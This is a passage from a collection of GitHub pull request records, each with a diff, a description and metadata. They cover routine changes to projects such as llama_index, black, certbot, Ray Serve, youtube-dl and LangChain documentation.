"`nltk` package not found, please run `pip install nltk`" ) + + from llama_index.utils import get_cache_dir + + cache_dir = get_cache_dir() + nltk_data_dir = os.environ.get("NLTK_DATA", cache_dir) + + # update nltk path for nltk so that it finds the data + if nltk_data_dir not in nltk.data.path: + nltk.data.path.append(nltk_data_dir) + try: nltk.data.find("corpora/stopwords") except LookupError: - nltk_data_dir = os.environ.get("NLTK_DATA", None) nltk.download("stopwords", download_dir=nltk_data_dir) self._stopwords = stopwords.words("english") return self._stopwords @@ -239,12 +248,16 @@ def get_transformer_tokenizer_fn(model_name: str) -> Callable[[str], List[str]]: return tokenizer.tokenize -def get_cache_dir() -> Path: +def get_cache_dir() -> str: """Locate a platform-appropriate cache directory for llama_index, and create it if it doesn't yet exist """ + # User override + if "LLAMA_INDEX_CACHE_DIR" in os.environ: + path = Path(os.environ["LLAMA_INDEX_CACHE_DIR"]) + # Linux, Unix, AIX, etc. - if os.name == "posix" and sys.platform != "darwin": + elif os.name == "posix" and sys.platform != "darwin": # use ~/.cache if empty OR not set base = os.path.expanduser("~/.cache") path = Path(base, "llama_index") @@ -262,7 +275,7 @@ def get_cache_dir() -> Path: if not os.path.exists(path): os.makedirs(path) - return path + return str(path) # Sample text from llama_index's readme
# Description This PR gives users easy control over where cache files are saved across llama-index. Just set the `LLAMA_INDEX_CACHE_DIR` environment variable and you should be good to go. Mentioned in https://github.com/jerryjliu/llama_index/issues/7231 ## Type of Change - [x] Bug fix (non-breaking change which fixes an issue) - [x] New feature (non-breaking change which adds functionality) # How Has This Been Tested? - [x] Tested in terminal - [x] I stared at the code and made sure it makes sense
https://api.github.com/repos/run-llama/llama_index/pulls/7233
2023-08-11T14:52:43Z
2023-08-11T16:40:53Z
2023-08-11T16:40:53Z
2023-08-11T16:40:54Z
1,928
run-llama/llama_index
6,802
Add .nox directories to default exclude
diff --git a/README.md b/README.md index 244f60d776c..5df3871e0e1 100644 --- a/README.md +++ b/README.md @@ -99,7 +99,7 @@ Options: recursive searches. On Windows, use forward slashes for directories. [default: build/|buck-out/|dist/|_build/|\.git/|\.hg/| - \.mypy_cache/|\.tox/|\.venv/] + \.mypy_cache/|\.nox/|\.tox/|\.venv/] -q, --quiet Don't emit non-error messages to stderr. Errors are still emitted, silence those with 2>/dev/null. diff --git a/black.py b/black.py index f2c450c3387..d80c22069eb 100644 --- a/black.py +++ b/black.py @@ -50,7 +50,7 @@ __version__ = "18.6b4" DEFAULT_LINE_LENGTH = 88 DEFAULT_EXCLUDES = ( - r"/(\.git|\.hg|\.mypy_cache|\.tox|\.venv|_build|buck-out|build|dist)/" + r"/(\.git|\.hg|\.mypy_cache|\.nox|\.tox|\.venv|_build|buck-out|build|dist)/" ) DEFAULT_INCLUDES = r"\.pyi?$" CACHE_DIR = Path(user_cache_dir("black", version=__version__))
[Nox](https://nox.readthedocs.io/) is similar to Tox. It creates a .nox directory that contains virtualenv for testing with different Python versions.
https://api.github.com/repos/psf/black/pulls/525
2018-09-21T16:52:17Z
2018-09-25T15:25:59Z
2018-09-25T15:25:59Z
2018-09-25T22:04:42Z
341
psf/black
24,463
Fix typo
diff --git a/docs/api.rst b/docs/api.rst index 48bb001ed0..9662187f11 100644 --- a/docs/api.rst +++ b/docs/api.rst @@ -370,7 +370,7 @@ JSON module: 1. ``datetime`` objects are serialized as :rfc:`822` strings. 2. Any object with an ``__html__`` method (like :class:`~flask.Markup`) - will ahve that method called and then the return value is serialized + will have that method called and then the return value is serialized as string. The :func:`~htmlsafe_dumps` function of this json module is also available
Fixed a small typo.
https://api.github.com/repos/pallets/flask/pulls/776
2013-06-23T00:42:52Z
2013-06-23T00:54:31Z
2013-06-23T00:54:31Z
2020-11-14T05:17:40Z
157
pallets/flask
20,570
Update LLaMA-model.md
diff --git a/docs/LLaMA-model.md b/docs/LLaMA-model.md index 338d458b13..6706b16d6b 100644 --- a/docs/LLaMA-model.md +++ b/docs/LLaMA-model.md @@ -30,7 +30,15 @@ pip install protobuf==3.20.1 2. Use the script below to convert the model in `.pth` format that you, a fellow academic, downloaded using Meta's official link: -### [convert_llama_weights_to_hf.py](https://github.com/huggingface/transformers/blob/main/src/transformers/models/llama/convert_llama_weights_to_hf.py) +### Convert LLaMA to HuggingFace format + +If you have `transformers` installed in place + +``` +python -m transformers.models.llama.convert_llama_weights_to_hf --input_dir /path/to/LLaMA --model_size 7B --output_dir /tmp/outputs/llama-7b +``` + +Otherwise download script [convert_llama_weights_to_hf.py](https://github.com/huggingface/transformers/blob/main/src/transformers/models/llama/convert_llama_weights_to_hf.py) ``` python convert_llama_weights_to_hf.py --input_dir /path/to/LLaMA --model_size 7B --output_dir /tmp/outputs/llama-7b
Recommend to simply run script from `transformers` package
https://api.github.com/repos/oobabooga/text-generation-webui/pulls/2460
2023-05-31T17:33:49Z
2023-06-07T18:34:50Z
2023-06-07T18:34:50Z
2023-06-07T18:34:50Z
316
oobabooga/text-generation-webui
26,743
Unbreak master
diff --git a/acme/setup.py b/acme/setup.py index 1889ec0202c..e35b40d6e2f 100644 --- a/acme/setup.py +++ b/acme/setup.py @@ -4,7 +4,7 @@ from setuptools import find_packages -version = '0.1.0' +version = '0.2.0.dev0' install_requires = [ # load_pem_private/public_key (>=0.6) diff --git a/letsencrypt-apache/setup.py b/letsencrypt-apache/setup.py index 3b994c0ef0a..58008e1e412 100644 --- a/letsencrypt-apache/setup.py +++ b/letsencrypt-apache/setup.py @@ -4,7 +4,7 @@ from setuptools import find_packages -version = '0.1.0' +version = '0.2.0.dev0' install_requires = [ 'acme=={0}'.format(version), diff --git a/letsencrypt-compatibility-test/setup.py b/letsencrypt-compatibility-test/setup.py index c791d51c4ec..eb7e2303667 100644 --- a/letsencrypt-compatibility-test/setup.py +++ b/letsencrypt-compatibility-test/setup.py @@ -4,7 +4,7 @@ from setuptools import find_packages -version = '0.1.0.dev0' +version = '0.2.0.dev0' install_requires = [ 'letsencrypt=={0}'.format(version), diff --git a/letsencrypt-nginx/setup.py b/letsencrypt-nginx/setup.py index 93986c10e40..1d42fe48897 100644 --- a/letsencrypt-nginx/setup.py +++ b/letsencrypt-nginx/setup.py @@ -4,7 +4,7 @@ from setuptools import find_packages -version = '0.1.0' +version = '0.2.0.dev0' install_requires = [ 'acme=={0}'.format(version), diff --git a/letsencrypt/__init__.py b/letsencrypt/__init__.py index e011c3f9b9f..1c7815f7873 100644 --- a/letsencrypt/__init__.py +++ b/letsencrypt/__init__.py @@ -1,4 +1,4 @@ """Let's Encrypt client.""" # version number like 1.2.3a0, must have at least 2 parts, like 1.2 -__version__ = '0.1.1' +__version__ = '0.2.0.dev0' diff --git a/letshelp-letsencrypt/setup.py b/letshelp-letsencrypt/setup.py index a5a069c55a0..d487e556d4f 100644 --- a/letshelp-letsencrypt/setup.py +++ b/letshelp-letsencrypt/setup.py @@ -4,7 +4,7 @@ from setuptools import find_packages -version = '0.1.0' +version = '0.2.0.dev0' install_requires = [ 'setuptools', # pkg_resources
https://api.github.com/repos/certbot/certbot/pulls/1679
2015-12-03T15:55:45Z
2015-12-03T16:08:21Z
2015-12-03T16:08:21Z
2016-05-06T19:21:38Z
709
certbot/certbot
509
add Levinstein distance with Dynamic Programming: up -> down approach
diff --git a/dynamic_programming/min_distance_up_bottom.py b/dynamic_programming/min_distance_up_bottom.py new file mode 100644 index 000000000000..49c361f24d45 --- /dev/null +++ b/dynamic_programming/min_distance_up_bottom.py @@ -0,0 +1,55 @@ +""" +Author : Alexander Pantyukhin +Date : October 14, 2022 +This is implementation Dynamic Programming up bottom approach +to find edit distance. +The aim is to demonstate up bottom approach for solving the task. +The implementation was tested on the +leetcode: https://leetcode.com/problems/edit-distance/ +""" + +""" +Levinstein distance +Dynamic Programming: up -> down. +""" + + +def min_distance_up_bottom(word1: str, word2: str) -> int: + """ + >>> min_distance_up_bottom("intention", "execution") + 5 + >>> min_distance_up_bottom("intention", "") + 9 + >>> min_distance_up_bottom("", "") + 0 + >>> min_distance_up_bottom("zooicoarchaeologist", "zoologist") + 10 + """ + + from functools import lru_cache + + len_word1 = len(word1) + len_word2 = len(word2) + + @lru_cache(maxsize=None) + def min_distance(index1: int, index2: int) -> int: + # if first word index is overflow - delete all from the second word + if index1 >= len_word1: + return len_word2 - index2 + # if second word index is overflow - delete all from the first word + if index2 >= len_word2: + return len_word1 - index1 + diff = int(word1[index1] != word2[index2]) # current letters not identical + return min( + 1 + min_distance(index1 + 1, index2), + 1 + min_distance(index1, index2 + 1), + diff + min_distance(index1 + 1, index2 + 1), + ) + + return min_distance(0, 0) + + +if __name__ == "__main__": + import doctest + + doctest.testmod()
### Describe your change: Levinstein distance with Dynamic Programming: up -> down approach. some tests are copied from https://github.com/TheAlgorithms/Python/blob/master/dynamic_programming/edit_distance.py#L61 . * [x] Add an algorithm? * [ ] Fix a bug or typo in an existing algorithm? * [ ] Documentation change? ### Checklist: * [x] I have read [CONTRIBUTING.md](https://github.com/TheAlgorithms/Python/blob/master/CONTRIBUTING.md). * [x] This pull request is all my own work -- I have not plagiarized. * [x] I know that pull requests will not be merged if they fail the automated tests. * [x] This PR only changes one algorithm file. To ease review, please open separate PRs for separate algorithms. * [x] All new Python files are placed inside an existing directory. * [x] All filenames are in all lowercase characters with no spaces or dashes. * [x] All functions and variable names follow Python naming conventions. * [x] All function parameters and return values are annotated with Python [type hints](https://docs.python.org/3/library/typing.html). * [x] All functions have [doctests](https://docs.python.org/3/library/doctest.html) that pass the automated testing. * [ ] All new algorithms have a URL in its comments that points to Wikipedia or other similar explanation. * [x] If this pull request resolves one or more open issues then the commit message contains `Fixes: #{$ISSUE_NO}`.
https://api.github.com/repos/TheAlgorithms/Python/pulls/7171
2022-10-14T13:37:37Z
2022-10-30T13:00:16Z
2022-10-30T13:00:16Z
2022-10-30T13:00:16Z
522
TheAlgorithms/Python
29,719
Handle existing ACMEv1 and ACMEv2 accounts on the 0.26.x branch
diff --git a/certbot/account.py b/certbot/account.py index f2ed5cfd528..59ceb42e037 100644 --- a/certbot/account.py +++ b/certbot/account.py @@ -1,5 +1,6 @@ """Creates ACME accounts for server.""" import datetime +import functools import hashlib import logging import os @@ -191,6 +192,11 @@ def _find_all_for_server_path(self, server_path): def find_all(self): return self._find_all_for_server_path(self.config.server_path) + def _symlink_to_account_dir(self, prev_server_path, server_path, account_id): + prev_account_dir = self._account_dir_path_for_server_path(account_id, prev_server_path) + new_account_dir = self._account_dir_path_for_server_path(account_id, server_path) + os.symlink(prev_account_dir, new_account_dir) + def _symlink_to_accounts_dir(self, prev_server_path, server_path): accounts_dir = self.config.accounts_dir_for_server_path(server_path) if os.path.islink(accounts_dir): @@ -207,7 +213,12 @@ def _load_for_server_path(self, account_id, server_path): prev_server_path = constants.LE_REUSE_SERVERS[server_path] prev_loaded_account = self._load_for_server_path(account_id, prev_server_path) # we didn't error so we found something, so create a symlink to that - self._symlink_to_accounts_dir(prev_server_path, server_path) + accounts_dir = self.config.accounts_dir_for_server_path(server_path) + # If accounts_dir isn't empty, make an account specific symlink + if os.listdir(accounts_dir): + self._symlink_to_account_dir(prev_server_path, server_path, account_id) + else: + self._symlink_to_accounts_dir(prev_server_path, server_path) return prev_loaded_account else: raise errors.AccountNotFound( @@ -250,49 +261,65 @@ def delete(self, account_id): :param account_id: id of account which should be deleted """ - # Step 1: remove the account itself account_dir_path = self._account_dir_path(account_id) if not os.path.isdir(account_dir_path): raise errors.AccountNotFound( "Account at %s does not exist" % account_dir_path) - shutil.rmtree(account_dir_path) + # Step 1: Delete account specific links and the directory + self._delete_account_dir_for_server_path(account_id, self.config.server_path) - # Step 2: remove the directory if it's empty, and linked directories + # Step 2: Remove any accounts links and directories that are now empty if not os.listdir(self.config.accounts_dir): self._delete_accounts_dir_for_server_path(self.config.server_path) + def _delete_account_dir_for_server_path(self, account_id, server_path): + link_func = functools.partial(self._account_dir_path_for_server_path, account_id) + nonsymlinked_dir = self._delete_links_and_find_target_dir(server_path, link_func) + shutil.rmtree(nonsymlinked_dir) + def _delete_accounts_dir_for_server_path(self, server_path): - accounts_dir_path = self.config.accounts_dir_for_server_path(server_path) + link_func = self.config.accounts_dir_for_server_path + nonsymlinked_dir = self._delete_links_and_find_target_dir(server_path, link_func) + os.rmdir(nonsymlinked_dir) + + def _delete_links_and_find_target_dir(self, server_path, link_func): + """Delete symlinks and return the nonsymlinked directory path. + + :param str server_path: file path based on server + :param callable link_func: callable that returns possible links + given a server_path + + :returns: the final, non-symlinked target + :rtype: str + + """ + dir_path = link_func(server_path) # does an appropriate directory link to me? if so, make sure that's gone reused_servers = {} for k in constants.LE_REUSE_SERVERS: reused_servers[constants.LE_REUSE_SERVERS[k]] = k - # is there a next one up? call that and be done - if server_path in reused_servers: - next_server_path = reused_servers[server_path] - next_accounts_dir_path = self.config.accounts_dir_for_server_path(next_server_path) - if os.path.islink(next_accounts_dir_path) \ - and os.readlink(next_accounts_dir_path) == accounts_dir_path: - self._delete_accounts_dir_for_server_path(next_server_path) - return + # is there a next one up? + possible_next_link = True + while possible_next_link: + possible_next_link = False + if server_path in reused_servers: + next_server_path = reused_servers[server_path] + next_dir_path = link_func(next_server_path) + if os.path.islink(next_dir_path) and os.readlink(next_dir_path) == dir_path: + possible_next_link = True + server_path = next_server_path + dir_path = next_dir_path # if there's not a next one up to delete, then delete me - # and whatever I link to if applicable - if os.path.islink(accounts_dir_path): - # save my info then delete me - target = os.readlink(accounts_dir_path) - os.unlink(accounts_dir_path) - # then delete whatever I linked to, if appropriate - if server_path in constants.LE_REUSE_SERVERS: - prev_server_path = constants.LE_REUSE_SERVERS[server_path] - prev_accounts_dir_path = self.config.accounts_dir_for_server_path(prev_server_path) - if target == prev_accounts_dir_path: - self._delete_accounts_dir_for_server_path(prev_server_path) - else: - # just delete me - os.rmdir(accounts_dir_path) + # and whatever I link to + while os.path.islink(dir_path): + target = os.readlink(dir_path) + os.unlink(dir_path) + dir_path = target + + return dir_path def _save(self, account, acme, regr_only): account_dir_path = self._account_dir_path(account.id) diff --git a/certbot/tests/account_test.py b/certbot/tests/account_test.py index e0ec3d5f8fa..701478336ba 100644 --- a/certbot/tests/account_test.py +++ b/certbot/tests/account_test.py @@ -249,6 +249,14 @@ def test_upgrade_load(self): account = self.storage.load(self.acc.id) self.assertEqual(prev_account, account) + def test_upgrade_load_single_account(self): + self._set_server('https://acme-staging.api.letsencrypt.org/directory') + self.storage.save(self.acc, self.mock_client) + prev_account = self.storage.load(self.acc.id) + self._set_server_and_stop_symlink('https://acme-staging-v02.api.letsencrypt.org/directory') + account = self.storage.load(self.acc.id) + self.assertEqual(prev_account, account) + def test_load_ioerror(self): self.storage.save(self.acc, self.mock_client) mock_open = mock.mock_open() @@ -307,6 +315,18 @@ def test_delete_folders_down(self): self._test_delete_folders('https://acme-staging-v02.api.letsencrypt.org/directory') self._assert_symlinked_account_removed() + def _set_server_and_stop_symlink(self, server_path): + self._set_server(server_path) + with open(os.path.join(self.config.accounts_dir, 'foo'), 'w') as f: + f.write('bar') + + def test_delete_shared_account_up(self): + self._set_server_and_stop_symlink('https://acme-staging-v02.api.letsencrypt.org/directory') + self._test_delete_folders('https://acme-staging.api.letsencrypt.org/directory') + + def test_delete_shared_account_down(self): + self._set_server_and_stop_symlink('https://acme-staging-v02.api.letsencrypt.org/directory') + self._test_delete_folders('https://acme-staging.api.letsencrypt.org/directory') if __name__ == "__main__": unittest.main() # pragma: no cover
Fixes #6207. As noted by Erica: - we no longer need to check if it exists before linking to it, because we delete properly. - the previously excisting check on if server is in `LE_REUSE_SERVERS` before unlinking is nice, but probably not necessary, especially since we don't officially support people doing weird things with symlinks in our directories, and because we rmdir which will fail if it's not empty anyway. * Create single account symlink. * refactor _delete_accounts_dir_for_server_path * add symlinked account dir deletion * add tests (cherry picked from commit 9b0d2714c1404190a4e70457da732dd08bbe861e)
https://api.github.com/repos/certbot/certbot/pulls/6215
2018-07-12T23:22:47Z
2018-07-16T14:54:37Z
2018-07-16T14:54:37Z
2018-07-16T14:54:43Z
1,858
certbot/certbot
1,042
Move code quality tests to Azure-hosted agents.
diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 207b00de543c..f98be617c938 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -91,11 +91,14 @@ jobs: - job: Code_Quality_Checks pool: - name: 'DS_testing' + vmImage: 'ubuntu-latest' variables: conda_env: 'ds_codetest' steps: + - bash: echo "##vso[task.prependpath]$CONDA/bin" + displayName: Add conda to PATH + - script: | conda create --force --yes -n $(conda_env) python=3.7 source activate $(conda_env)
Our code quality tests do not require GPUs and so we can simply run them on the freely available testing agents.
https://api.github.com/repos/microsoft/DeepSpeed/pulls/368
2020-09-05T19:10:41Z
2020-09-05T22:06:13Z
2020-09-05T22:06:13Z
2020-09-05T22:06:21Z
174
microsoft/DeepSpeed
10,813
remove llamahub from gh workflow
diff --git a/.github/workflows/publish_release.yml b/.github/workflows/publish_release.yml index f534e710fa1cf..db25c878a6337 100644 --- a/.github/workflows/publish_release.yml +++ b/.github/workflows/publish_release.yml @@ -26,9 +26,6 @@ jobs: python -m pip install --upgrade build twine python -m build twine check --strict dist/* - - name: Build and publish llamaindex distribution - run: > - LLAMA_INDEX_DIR=../llama_index GPT_INDEX_DIR=. USERNAME=__token__ PASSWORD=${{ secrets.LLAMA_INDEX_PYPI_TOKEN }} bash ./scripts/publish_llama_package.sh - name: Publish distribution to PyPI uses: pypa/gh-action-pypi-publish@master with:
https://api.github.com/repos/run-llama/llama_index/pulls/497
2023-02-20T08:48:44Z
2023-02-20T08:48:51Z
2023-02-20T08:48:51Z
2023-02-20T08:48:52Z
191
run-llama/llama_index
6,351
carmichael_number - add doctests
diff --git a/maths/carmichael_number.py b/maths/carmichael_number.py index 81712520ffc7..08b5c70e8fe7 100644 --- a/maths/carmichael_number.py +++ b/maths/carmichael_number.py @@ -10,10 +10,21 @@ Examples of Carmichael Numbers: 561, 1105, ... https://en.wikipedia.org/wiki/Carmichael_number """ + from maths.greatest_common_divisor import greatest_common_divisor def power(x: int, y: int, mod: int) -> int: + """ + + Examples: + >>> power(2, 15, 3) + 2 + + >>> power(5, 1, 30) + 5 + """ + if y == 0: return 1 temp = power(x, y // 2, mod) % mod @@ -24,15 +35,47 @@ def power(x: int, y: int, mod: int) -> int: def is_carmichael_number(n: int) -> bool: - b = 2 - while b < n: - if greatest_common_divisor(b, n) == 1 and power(b, n - 1, n) != 1: - return False - b += 1 - return True + """ + + Examples: + >>> is_carmichael_number(562) + False + + >>> is_carmichael_number(561) + True + + >>> is_carmichael_number(5.1) + Traceback (most recent call last): + ... + ValueError: Number 5.1 must instead be a positive integer + + >>> is_carmichael_number(-7) + Traceback (most recent call last): + ... + ValueError: Number -7 must instead be a positive integer + + >>> is_carmichael_number(0) + Traceback (most recent call last): + ... + ValueError: Number 0 must instead be a positive integer + """ + + if n <= 0 or not isinstance(n, int): + msg = f"Number {n} must instead be a positive integer" + raise ValueError(msg) + + return all( + power(b, n - 1, n) == 1 + for b in range(2, n) + if greatest_common_divisor(b, n) == 1 + ) if __name__ == "__main__": + import doctest + + doctest.testmod() + number = int(input("Enter number: ").strip()) if is_carmichael_number(number): print(f"{number} is a Carmichael Number.")
### Describe your change: Contributes to #9943 Added doctests. * [x] Add an algorithm? * [ ] Fix a bug or typo in an existing algorithm? * [ ] Documentation change? ### Checklist: * [x] I have read [CONTRIBUTING.md](https://github.com/TheAlgorithms/Python/blob/master/CONTRIBUTING.md). * [x] This pull request is all my own work -- I have not plagiarized. * [x] I know that pull requests will not be merged if they fail the automated tests. * [x] This PR only changes one algorithm file. To ease review, please open separate PRs for separate algorithms. * [x] All new Python files are placed inside an existing directory. * [x] All filenames are in all lowercase characters with no spaces or dashes. * [x] All functions and variable names follow Python naming conventions. * [x] All function parameters and return values are annotated with Python [type hints](https://docs.python.org/3/library/typing.html). * [x] All functions have [doctests](https://docs.python.org/3/library/doctest.html) that pass the automated testing. * [x] All new algorithms include at least one URL that points to Wikipedia or another similar explanation. * [x] If this pull request resolves one or more open issues then the description above includes the issue number(s) with a [closing keyword](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue): " #ISSUE-NUMBER - 9943".
https://api.github.com/repos/TheAlgorithms/Python/pulls/10038
2023-10-07T16:41:37Z
2023-10-10T20:14:13Z
2023-10-10T20:14:13Z
2023-10-10T20:14:16Z
617
TheAlgorithms/Python
30,030
[Serve] Fix fastapi tutorial and update doc with deprecation warning
diff --git a/doc/source/serve/tutorials/web-server-integration.rst b/doc/source/serve/tutorials/web-server-integration.rst index bbd8499731ead..a907cef4abbce 100644 --- a/doc/source/serve/tutorials/web-server-integration.rst +++ b/doc/source/serve/tutorials/web-server-integration.rst @@ -11,6 +11,11 @@ We give two examples, one using a `FastAPI <https://fastapi.tiangolo.com/>`__ we Scaling Up a FastAPI Application -------------------------------- +.. warning:: + + With the introduction of the new Deployments API in Ray 1.4.0, this tutorial no longer describes the best practice for integrating Ray Serve with FastAPI, and will soon be removed. + For details on the new and improved FastAPI integration, please see :ref:`serve-fastapi-http`. + For this example, you must have either `Pytorch <https://pytorch.org/>`_ or `Tensorflow <https://www.tensorflow.org/>`_ installed, as well as `Huggingface Transformers <https://github.com/huggingface/transformers>`_ and `FastAPI <https://fastapi.tiangolo.com/>`_. For example: .. code-block:: bash @@ -19,7 +24,7 @@ For this example, you must have either `Pytorch <https://pytorch.org/>`_ or `Ten Here’s a simple FastAPI web server. It uses Huggingface Transformers to auto-generate text based on a short initial input using `OpenAI’s GPT-2 model <https://openai.com/blog/better-language-models/>`_. -.. literalinclude:: ../../../../python/ray/serve/examples/doc/fastapi/fastapi.py +.. literalinclude:: ../../../../python/ray/serve/examples/doc/fastapi/fastapi_simple.py To scale this up, we define a Ray Serve backend containing our text model and call it from Python using a ServeHandle: diff --git a/python/ray/serve/examples/doc/fastapi/fastapi.py b/python/ray/serve/examples/doc/fastapi/fastapi_simple.py similarity index 100% rename from python/ray/serve/examples/doc/fastapi/fastapi.py rename to python/ray/serve/examples/doc/fastapi/fastapi_simple.py diff --git a/python/ray/serve/examples/doc/fastapi/servehandle_fastapi.py b/python/ray/serve/examples/doc/fastapi/servehandle_fastapi.py index 0528c02fde0ee..08d93987b2e9e 100644 --- a/python/ray/serve/examples/doc/fastapi/servehandle_fastapi.py +++ b/python/ray/serve/examples/doc/fastapi/servehandle_fastapi.py @@ -13,8 +13,11 @@ class GPT2: def __init__(self): self.nlp_model = pipeline("text-generation", model="gpt2") + async def predict(self, query: str): + return self.nlp_model(query, max_length=50) + async def __call__(self, request): - return self.nlp_model(await request.body(), max_length=50) + return self.predict(await request.body()) @app.on_event("startup") # Code to be run when the server starts. @@ -30,4 +33,9 @@ async def startup_event(): async def generate(query: str): # Get a handle to our deployment so we can query it in Python. handle = GPT2.get_handle() - return await handle.remote(query) + return await handle.predict.remote(query) + + +@app.on_event("shutdown") # Code to be run when the server shuts down. +async def shutdown_event(): + serve.shutdown() # Shut down Ray Serve.
<!-- Thank you for your contribution! Please review https://github.com/ray-project/ray/blob/master/CONTRIBUTING.rst before opening a pull request. --> <!-- Please add a reviewer to the assignee section when you create a PR. If you don't have the access to it, we will shortly find a reviewer and assign them to your PR. --> ## Why are these changes needed? <!-- Please give a short summary of the change and the problem this solves. --> ## Related issue number <!-- For example: "Closes #1234" --> Closes #16756 ## Checks - [x] I've run `scripts/format.sh` to lint the changes in this PR. - [x] I've included any doc changes needed for https://docs.ray.io/en/master/. - [x] I've made sure the tests are passing. Note that there might be a few flaky tests, see the recent failures at https://flakey-tests.ray.io/ - Testing Strategy - [ ] Unit tests - [ ] Release tests - [x] Manual testing - [ ] This PR is not tested :(
https://api.github.com/repos/ray-project/ray/pulls/16759
2021-06-29T21:30:51Z
2021-06-30T14:30:49Z
2021-06-30T14:30:49Z
2021-06-30T14:30:49Z
821
ray-project/ray
19,910
Change the path of joinus.png to absolute path
diff --git a/README.md b/README.md index 67d65e98e8..1ce6fabb55 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ The above pictures are the visualizations of the general ppocr_server model. For - Scan the QR code below with your Wechat, you can access to official technical exchange group. Look forward to your participation. <div align="center"> -<img src="./doc/joinus.PNG" width = "200" height = "200" /> +<img src="https://raw.githubusercontent.com/PaddlePaddle/PaddleOCR/release/2.0/doc/joinus.PNG" width = "200" height = "200" /> </div> diff --git a/README_ch.md b/README_ch.md index d4870710a2..9fe853f925 100755 --- a/README_ch.md +++ b/README_ch.md @@ -46,7 +46,7 @@ PaddleOCR同时支持动态图与静态图两种编程范式 - 微信扫描二维码加入官方交流群,获得更高效的问题答疑,与各行各业开发者充分交流,期待您的加入。 <div align="center"> -<img src="./doc/joinus.PNG" width = "200" height = "200" /> +<img src="https://raw.githubusercontent.com/PaddlePaddle/PaddleOCR/release/2.0/doc/joinus.PNG" width = "200" height = "200" /> </div> ## 快速体验
Change the path of joinus.png to absolute path
https://api.github.com/repos/PaddlePaddle/PaddleOCR/pulls/2101
2021-02-24T11:31:42Z
2021-02-26T03:50:10Z
2021-02-26T03:50:10Z
2021-02-26T03:50:10Z
361
PaddlePaddle/PaddleOCR
41,810
Fix syntax error in match test
diff --git a/tests/data/py_310/pattern_matching_extras.py b/tests/data/py_310/pattern_matching_extras.py index 9f6907f757..0242d264e5 100644 --- a/tests/data/py_310/pattern_matching_extras.py +++ b/tests/data/py_310/pattern_matching_extras.py @@ -114,6 +114,6 @@ def func(match: case, case: match) -> case: match bar1: case Foo( - normal=x, perhaps=[list, {an: d, dict: 1.0}] as y, otherwise=something, q=t as u + normal=x, perhaps=[list, {"x": d, "y": 1.0}] as y, otherwise=something, q=t as u ): pass
Found with a variation on #3423 that runs tests in pyi mode.
https://api.github.com/repos/psf/black/pulls/3426
2022-12-10T19:11:45Z
2022-12-17T22:51:10Z
2022-12-17T22:51:10Z
2022-12-17T22:51:30Z
180
psf/black
24,331
[vlive] Use locale as subtitles language key instead
diff --git a/youtube_dl/extractor/vlive.py b/youtube_dl/extractor/vlive.py index 8d671cca767..c3aa57cd6fe 100644 --- a/youtube_dl/extractor/vlive.py +++ b/youtube_dl/extractor/vlive.py @@ -116,7 +116,7 @@ def _replay(self, video_id, webpage, long_video_id, key): subtitles = {} for caption in playinfo.get('captions', {}).get('list', []): - lang = dict_get(caption, ('language', 'locale', 'country', 'label')) + lang = dict_get(caption, ('locale', 'language', 'country', 'label')) if lang and caption.get('source'): subtitles[lang] = [{ 'ext': 'vtt',
## Please follow the guide below ### Before submitting a *pull request* make sure you have: - [x] At least skimmed through [adding new extractor tutorial](https://github.com/rg3/youtube-dl#adding-support-for-a-new-site) and [youtube-dl coding conventions](https://github.com/rg3/youtube-dl#youtube-dl-coding-conventions) sections - [x] [Searched](https://github.com/rg3/youtube-dl/search?q=is%3Apr&type=Issues) the bugtracker for similar pull requests ### In order to be accepted and merged into youtube-dl each piece of code must be in public domain or released under [Unlicense](http://unlicense.org/). Check one of the following options: - [x] I am the original author of this code and I am willing to release it under [Unlicense](http://unlicense.org/) - [ ] I am not the original author of this code but it is in public domain or released under [Unlicense](http://unlicense.org/) (provide reliable evidence) ### What is the purpose of your *pull request*? - [ ] Bug fix - [x] Improvement - [ ] New extractor - [ ] New feature --- The extractor was using language e.g. ``zh`` as the subtitle language, this doesn't distinguish between variants like ``zh_CN`` and ``zh_TW``. ``` $ # Before $ python -m youtube_dl --list-subs "http://www.vlive.tv/video/16937" [vlive] 16937: Downloading webpage [vlive] 16937: Downloading JSON metadata Available subtitles for 16937: Language formats el vtt en vtt zh vtt pt vtt vi vtt ko vtt th vtt in vtt ja vtt es vtt $ # After $ python -m youtube_dl --list-subs "http://www.vlive.tv/video/16937" [vlive] 16937: Downloading webpage [vlive] 16937: Downloading JSON metadata Available subtitles for 16937: Language formats th_TH vtt ko_KR vtt pt_BR vtt zh_CN vtt zh_TW vtt vi_VN vtt ja_JP vtt en_US vtt el_GR vtt es_ES vtt in_ID vtt ```
https://api.github.com/repos/ytdl-org/youtube-dl/pulls/11203
2016-11-15T08:39:25Z
2016-11-15T15:07:17Z
2016-11-15T15:07:17Z
2016-11-15T15:17:38Z
184
ytdl-org/youtube-dl
49,997
docs: fix extraction/quickstart.ipynb example code
diff --git a/docs/docs/use_cases/extraction/quickstart.ipynb b/docs/docs/use_cases/extraction/quickstart.ipynb index fa8587ab39d474..55eee4436e5ae6 100644 --- a/docs/docs/use_cases/extraction/quickstart.ipynb +++ b/docs/docs/use_cases/extraction/quickstart.ipynb @@ -89,12 +89,12 @@ " # 1. Each field is an `optional` -- this allows the model to decline to extract it!\n", " # 2. Each field has a `description` -- this description is used by the LLM.\n", " # Having a good description can help improve extraction results.\n", - " name: Optional[str] = Field(..., description=\"The name of the person\")\n", + " name: Optional[str] = Field(default=None, description=\"The name of the person\")\n", " hair_color: Optional[str] = Field(\n", - " ..., description=\"The color of the peron's hair if known\"\n", + " default=None, description=\"The color of the peron's hair if known\"\n", " )\n", " height_in_meters: Optional[str] = Field(\n", - " ..., description=\"Height measured in meters\"\n", + " default=None, description=\"Height measured in meters\"\n", " )" ] }, @@ -254,12 +254,12 @@ " # 1. Each field is an `optional` -- this allows the model to decline to extract it!\n", " # 2. Each field has a `description` -- this description is used by the LLM.\n", " # Having a good description can help improve extraction results.\n", - " name: Optional[str] = Field(..., description=\"The name of the person\")\n", + " name: Optional[str] = Field(default=None, description=\"The name of the person\")\n", " hair_color: Optional[str] = Field(\n", - " ..., description=\"The color of the peron's hair if known\"\n", + " default=None, description=\"The color of the peron's hair if known\"\n", " )\n", " height_in_meters: Optional[str] = Field(\n", - " ..., description=\"Height measured in meters\"\n", + " default=None, description=\"Height measured in meters\"\n", " )\n", "\n", "\n",
